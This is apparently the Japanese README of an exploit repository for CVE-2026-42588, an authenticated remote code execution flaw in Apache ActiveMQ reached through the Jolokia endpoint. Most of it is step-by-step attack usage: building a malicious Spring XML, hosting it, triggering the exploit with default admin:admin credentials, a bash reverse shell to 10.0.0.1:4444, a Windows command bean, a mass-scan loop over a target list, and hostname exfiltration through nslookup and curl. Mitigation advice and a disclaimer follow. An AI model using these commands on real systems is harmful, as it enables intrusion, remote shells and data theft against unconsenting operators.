
CVE-2026-42588 - Apache ActiveMQ Jolokia リモートコード実行脆弱性エクスプロイト (RCE Exploit)
深刻度: 🔴 高 (CVSS 4.0: 8.1)
脆弱性タイプ: CWE-94 — コードインジェクション
影響を受けるバージョン: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
必要条件: Web コンソールの認証情報が必要(デフォルトadmin:admin)
CVE-2026-42588 は Apache ActiveMQ における認証後のリモートコード実行(RCE)脆弱性です。
攻撃者は Web コンソールの認証情報を持っている場合、Jolokia JMX-HTTP ブリッジインターフェース (/api/jolokia/) を介して BrokerService.addNetworkConnector(String) メソッドを呼び出し、細工された masterslave:// ディスカバリ URI を渡します。xbean: プロトコルを利用してリモートの Spring XML 設定ファイル をロードし、最終的に ActiveMQ Broker の JVM 上で任意のシステムコマンドを実行します。
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring がすべてのシングルトン Bean をプリインスタンス化 → Runtime.exec() / ProcessBuilder をトリガー
│
▼
🚨 リモートコード実行 (RCE)
/api/jolokia/ インターフェースに攻撃者がアクセス可能(デフォルトポート 8161)admin:admin).
├── CVE-2026-42588_EXP.py # エクスプロイトスクリプト(中核)
├── malicious.xml # 悪意のある Spring XML テンプレート
├── requirements.txt # Python 依存関係
└── README.md # 本ファイル
| ファイル | 用途 |
|---|---|
CVE-2026-42588_EXP.py | Python エクスプロイトスクリプト。検出モード (--check-only) と XML 生成モード (--gen-xml) をサポート |
malicious.xml | 悪意のある Spring XML 設定テンプレート。Runtime.exec() と ProcessBuilder の2種類の利用方法を含む |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
攻撃マシンで HTTP サービスを起動:
python3 -m http.server 8080
# デフォルト認証情報 admin/admin を使用
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# カスタム認証情報を使用
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
オプション:
-u, --url ターゲット ActiveMQ URL (例: http://192.168.1.100:8161)
-U, --username Web Console ユーザ名 (デフォルト: admin)
-P, --password Web Console パスワード (デフォルト: admin)
-x, --xml-url 悪意のある Spring XML ファイルのリモート URL
--check-only Jolokia インターフェースのアクセス可能性のみをチェック
--gen-xml 悪意のある XML ファイルを生成し、stdout に出力
-c, --command ターゲット上で実行するコマンド (デフォルト: touch /tmp/activemq_pwned)
--timeout HTTP リクエストのタイムアウト秒数 (デフォルト: 30)
--no-verify SSL 証明書の検証を無効化
1. 攻撃マシンで悪意のある XML を生成:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML をホストし、リスナーを起動:
# 端末1: HTTP サービス
python3 -m http.server 8080
# 端末2: nc で待ち受け
nc -lvnp 4444
3. 脆弱性をトリガー:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Windows 版悪意のある XML を生成:
malicious.xml 内の ProcessBuilder コマンドを次のように変更:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. ホストして実行:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# バッチ検出
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻撃チェーン │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻撃者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻撃者 HTTP サーバ │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context がリモート XML を │ │
│ │ │ │ ロード │ │
│ │ malicious.xml │ │ │ │
│ └──────────────────────┘ │ Spring が Bean をプリ │ │
│ │ インスタンス化 ──▶ │ │
│ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
コマンド実行は Spring XML 解析段階で発生するため非同期であり、HTTP 応答に直接実行結果が反映されない場合があります。以下の方法で確認することを推奨します:
# 攻撃マシン
nc -lvnp 4444
# コマンド内で nslookup または curl を使用して結果を送信
nslookup $(hostname).your-dns-server.com
# ターゲット上でマークファイルを確認
ls -la /tmp/activemq_pwned
# 悪意のある XML 内で使用
curl http://your-server:8888/$(hostname)
# 攻撃マシンで待ち受け
nc -lvnp 8888
| 系統 | アップグレード先 |
|---|---|
| 5.x 系 | 5.19.7 以降 |
| 6.x 系 | 6.2.6 以降 |
ダウンロード先: https://activemq.apache.org/download
パッチ告知: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
すぐにアップグレードできない場合は、以下の対策でリスクを低減できます:
conf/jetty.xml で /api/jolokia/ へのアクセスをローカルからのみに制限するか、ファイアウォールやリバースプロキシで IP ホワイトリストを設定します。
conf/jolokia-access.xml を編集し、org.apache.activemq:* MBean に対する exec 操作を禁止します:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
conf/jetty-realm.properties を編集し、デフォルトの admin: admin, admin を強力なパスワードに変更します。
conf/jetty.xml で Web Console に関連する Context 設定をコメントアウトします。
A: はい、ActiveMQ Web Console の有効な認証情報が必要です。ただし、デフォルトの認証情報は admin/admin であり、実際の環境では多くのシステムがデフォルトパスワードのままで運用されているため、リスクは依然として高いです。
A: これは正常です。コマンド実行は非同期で、Spring XML 解析段階で発生します。リバースシェルや DNS 外部帯域などで確認してください。詳細はエクスプロイト成功の確認を参照してください。
A: 対応しています。malicious.xml 内のコマンドを /bin/sh -c から cmd.exe /c に変更し、コマンド構文を Windows 形式に調整する必要があります。
A: 検出モードは Jolokia インターフェースへのアクセス可能性(脆弱性の必要条件)のみを確認します。インターフェースにアクセスできるからといって必ずしも悪用可能とは限りませんが、悪用の可能性はあります。
A: できません。5.19.7+ または 6.2.6+ にアップグレードすると、brokerConfig パラメータの解析ロジックが修正され、xbean: スキームが受け入れられなくなります。
⚠️ 本ツールはセキュリティ研究および許可されたテストのみを目的としています!
- 本ツールを使用して許可なくシステムにアクセスすることは違法行為です
- 利用者は、本ツールの使用によって生じるすべての結果と責任を自ら負うものとします
- 作者は、許可されていない使用、悪用、またはそれによって生じた損害について一切の責任を負いません
- 自身のシステム、または書面による許可を得たシステムでのみ本ツールを使用してください
- 現地の法律と職業倫理を遵守してください
CVE-2026-42588 — 教育目的および許可されたテストのみを対象とする
| 段階 | 説明 |
|---|
| Jolokia の露出 | ActiveMQ Web Console はデフォルトで /api/jolokia/ を公開し、org.apache.activemq:* MBean に対する exec 操作を許可する |
| 危険なメソッド | BrokerService.addNetworkConnector(String) はディスカバリ URI を受け取り、解析する |
| URI トリガーチェーン | masterslave:// プロトコルの brokerConfig パラメータが制御可能で、xbean: スキームと組み合わせると Spring コンテキストのロードがトリガーされる |
| RCE トリガー点 | XBeanBrokerFactory は ResourceXmlApplicationContext を使用してリモート XML をロードし、Spring は設定検証前にすべてのシングルトン Bean をインスタンス化する |
| バージョン範囲 | ステータス |
|---|
| Apache ActiveMQ < 5.19.7 | ❌ 影響あり |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ 影響あり |
| Apache ActiveMQ ≥ 5.19.7 | ✅ 修正済み |
| Apache ActiveMQ ≥ 6.2.6 | ✅ 修正済み |
| ソース | リンク |
|---|
| 脆弱性データベース (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| アンティアン (Antiy) 脆弱性告知 | https://bbs.antiy.cn/thread-210844-1-1.html |
| DDPOC 脆弱性詳細 | https://ddpoc.com/DVB-2026-11290.html |
| Apache ActiveMQ 公式 | https://activemq.apache.org/ |
| Apache セキュリティ告知 | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |